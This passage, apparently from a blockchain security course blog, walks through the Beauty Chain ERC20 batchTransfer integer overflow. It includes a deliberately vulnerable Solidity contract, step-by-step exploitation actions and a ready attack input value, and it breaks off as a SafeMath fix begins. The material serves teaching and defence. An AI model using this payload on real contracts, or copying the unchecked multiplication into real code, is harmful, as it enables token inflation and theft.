</span></span><span style="color: #93c47d;"><!--[endif]-->A 4byte MethodID </span></span></p><p class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo1; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->Five 32-byte values</span></span></p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo1; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo1; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoNormal"><span style="color: #93c47d;">The 4-byte MethodID which precedes the function parameters
is the first 4 bytes of a sha3 hash of the batchTransfer method declaration
minus the variable names and spaces. We can derive this sha3 value from the
transaction by using the web3 utility functions and a substring of the sha3
output. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">You can try this out with the following node commands. <o:p></o:p></span></p>
<br />
<div style="background: black; border: 1pt solid rgb(136, 136, 136); mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;">
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">$ npm install web3<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">$ node<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">> </span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">const</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> web3 = </span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">require</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">(</span><span style="color: #65b042; font-family: "Courier New"; font-size: 10pt;">'web3'</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">)<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">> web3.utils.sha3(</span><span style="color: #65b042; font-family: "Courier New"; font-size: 10pt;">"batchTransfer(address[],uint256)"</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">).substring(</span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">0</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">,</span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">10</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">)<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: #65b042; font-family: "Courier New"; font-size: 10pt;">'0x83f12fec'</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"><o:p></o:p></span></p>
</div>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><br /></p>
<p class="MsoNormal"><span style="color: #93c47d;">The 5 parameters following the MethodID are defined as
follows: <o:p></o:p></span></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoNormal"><span style="color: #93c47d;">[0] Offset to the _recievers Array, length value: 40Hex or 64
bytes (2x32 = 64bytes to the Array length held at [2])</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">[1] This is the actual _value which
is being sent that when multiplied causes an overflow. (A very large number) </span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">[2] This is the size of the
_recievers array sent to batch transfer in this case 2 addresses</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">[3] This is the first address from
the _recievers array used in the batch transfer.</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">[4] This is the second address from
the _recievers array used in the batch transfer.</span></p></blockquote>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h3 style="line-height: 115%; text-align: left;"><span style="color: #93c47d;">Reviewing a Live On-Chain Attack Transaction: </span></h3><p class="MsoNormal" style="line-height: 115%;"></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/4kihvkWfGeg" width="320" youtube-src-id="4kihvkWfGeg"></iframe></div><br /><span style="color: #93c47d;"><br /></span><p></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">So, what this attack did was take a
very large value from [2] and multiplied it times the length of the array which
is the value 2. This creates an overflow condition that results in the value of
0. Don’t believe me, let’s do it for
ourselves with a simple function that calculates the value sent times two. </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;">pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;">contract noAuth {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> amount(uint256 myAmount) </span><span style="color: #e28964;">public</span><span style="color: white;"> returns(</span><span style="color: #e28964;">uint</span><span style="color: white;">){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">return</span><span style="color: white;"> myAmount * </span><span style="color: indianred;">2</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> } <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Action Steps:<o:p></o:p></span></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; text-indent: -0.25in;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d; text-indent: -0.25in;">Deploy
the contract from above.</span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; text-indent: -0.25in;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d; text-indent: -0.25in;">First
put in a low number like 5 and review the output window, what do you get?</span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; text-indent: -0.25in;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d; text-indent: -0.25in;">Now
put in the attack value in hex for aka 0xnumber 0x8000000000000000000000000000000000000000000000000000000000000000</span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; text-indent: -0.25in;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d; text-indent: -0.25in;">What
happened?</span></p></blockquote><p> </p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">As you will see an amount
of 0 results which will pass the checks allowing an attack to work. Resulting in a very large
value sent as the _value variable to the user. Causing hyperinflation
of the token. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892486">Exploiting Our Own ERC20 Batch Overflow</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">This is pretty cool, but let’s
actually exploit this attack ourselves. I have taken the liberty of updating
the function from Beauty Chain to meet the current compiler standards with a
few small tweaks and some functions so you can check your balance during the
stages of the attack. Deploy this contract and try to exploit it before reading
the walkthrough!! <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">For this one you can type it out
for practice or grab it from the github folder since this is a case study and
not the normal learning material per say. I will allow laziness this one time. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><a href="https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/integerAttacks"><span style="color: #6fa8dc;">https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/integerAttacks</span></a><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;">
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">pragma solidity </span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">0.6</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">.</span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">6</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">; <o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> <o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">contract BEC_Vuln {<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
mapping (address=></span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">uint</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">) balances; <o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> <o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">function</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> batchTransfer(address[] memory _receivers, uint256 _value) </span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">public</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> payable returns
(</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">bool</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">) {<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">uint</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> cnt = _receivers.length;<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
uint256 amount = uint256(cnt) * _value;<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">require</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">(cnt > </span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">0</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> && cnt <= </span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">20</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">);<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">require</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">(_value > </span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">0</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> && balances[msg.sender] >=
amount);<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
balances[msg.sender] = balances[msg.sender] - amount;<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">for</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> (</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">uint</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> i = </span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">0</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">; i < cnt; i++) {<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
balances[_receivers[i]] =
balances[_receivers[i]] + _value;<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> </span><i><span style="color: #aeaeae; font-family: "Courier New"; font-size: 10pt;">//transfer(msg.sender,
_receivers[i], _value);</span></i><span style="color: white; font-family: "Courier New"; font-size: 10pt;"><o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
}<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">return</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> </span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">true</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">;<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
}<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">function</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> deposit() </span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">public</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> payable{<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> balances[msg.sender] = msg.</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">value</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">;<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
}<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> <o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">function</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> getBalance() </span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">public</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> view returns (</span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">uint</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">){<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> </span><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">return</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> balances[msg.sender];<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">
}<o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">}<o:p></o:p></span></p>
</div>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: white; font-family: "Courier New"; font-size: 10pt; line-height: 115%;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">I slightly modified the vulnerable function
from beautychain to work with the newer versions of solidity by adding in a few
keywords and new syntax but this is basically the same code. Solidity
requirements have changed a lot since version 4 when this was originally
deployed. So I updated it to make it so you could actually deploy it without
any issues in a newer version and learn the differences between versions. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Action steps: <o:p></o:p></span></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; mso-list: l14 level1 lfo4; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d;"><!--[endif]-->Using
account 1 deploy the BEC_Vuln Contract and deposit some wei, maybe 2000. </span></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; mso-list: l14 level1 lfo4; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"><span style="color: #6fa8dc;"> </span> </span></span><span style="color: #93c47d;"><!--[endif]-->Check
the value of account 1, account 2 and account 3.</span></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; mso-list: l14 level1 lfo4; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d;"><!--[endif]-->Send
the attack from account 1 and perform a batch transfer by sending in an array
of 2 addresses followed by the attack value in hex. See the below example for
reference. </span></span></p><p class="MsoListParagraphCxSpLast" style="line-height: 115%; mso-list: l14 level1 lfo4; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d;"><!--[endif]-->Now
check the values of the 3 accounts, what are they? What happened? </span></span></p></blockquote><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; mso-list: l14 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; mso-list: l14 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; mso-list: l14 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpLast" style="line-height: 115%; mso-list: l14 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoNormal" style="line-height: 115%; tab-stops: 46.5pt;"><span style="color: #93c47d;"> <o:p></o:p></span></p>
<h3 style="line-height: 115%; text-align: left;"><span style="color: #93c47d;">Attack Input example for remix:</span></h3>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6fa8dc;">["0x4faa06F5759F5514f4BC76847558c3588E5f1caa","0xCAF83B10404A5c4D2207f9ACFF194733fAa460Ed"],0x8000000000000000000000000000000000000000000000000000000000000000</span><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h3 style="line-height: 115%; text-align: left;"><span style="color: #93c47d;">Exploiting The Beauty Chain Vulnerability: </span></h3><p class="MsoNormal" style="line-height: 115%;"><o:p></o:p></p><p class="MsoNormal" style="line-height: 115%;"></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/QefvK_fDuhU" width="320" youtube-src-id="QefvK_fDuhU"></iframe></div><br /><span style="color: #93c47d;"><br /></span><p></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p> </o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892487">Fixing the ERC20 Overflow</a><o:p></o:p></span></h2>
<p class="MsoNormal"><span style="color: #93c47d;">Now let’s take a quick look at fixing issues related to
integer overflows and underflows. As always in application security, we should
not try to roll our own security libraries. We should instead use opensource
well vetted security libraries for coding projects. Ethereum is no exception to
this rule and has its own opensource libraries from OpenZeppelin which handle
anything from safe mathematical calculations to role based authentication.
Below is a direct link to the safe math library you will now import into your
BEC_Vuln.sol file and then fix the current overflow issues. <o:p></o:p></span></p>
<p class="MsoNormal"><span><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol"><span style="color: #6fa8dc;">https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol</span></a><span style="color: #93c47d;"><o:p></o:p></span></span></p>
<p class="MsoNormal"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal"><span style="color: #93c47d;">We will do this by using the following line under ae pragma
solidity definition</span><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;">
